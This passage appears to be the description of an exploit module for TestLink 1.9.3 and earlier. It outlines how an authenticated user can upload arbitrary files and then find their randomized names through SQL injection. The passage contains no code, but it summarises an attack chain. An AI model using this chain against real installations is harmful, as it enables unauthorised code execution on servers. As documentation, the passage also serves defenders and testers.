This module exploits a vulnerability in TestLink version 1.9.3 or prior.
|
|
This application has an upload feature that allows any authenticated
|
|
user to upload arbitrary files to the '/upload_area/nodes_hierarchy/'
|
|
directory with a randomized file name. The file name can be retrieved from
|
|
the database using SQL injection.
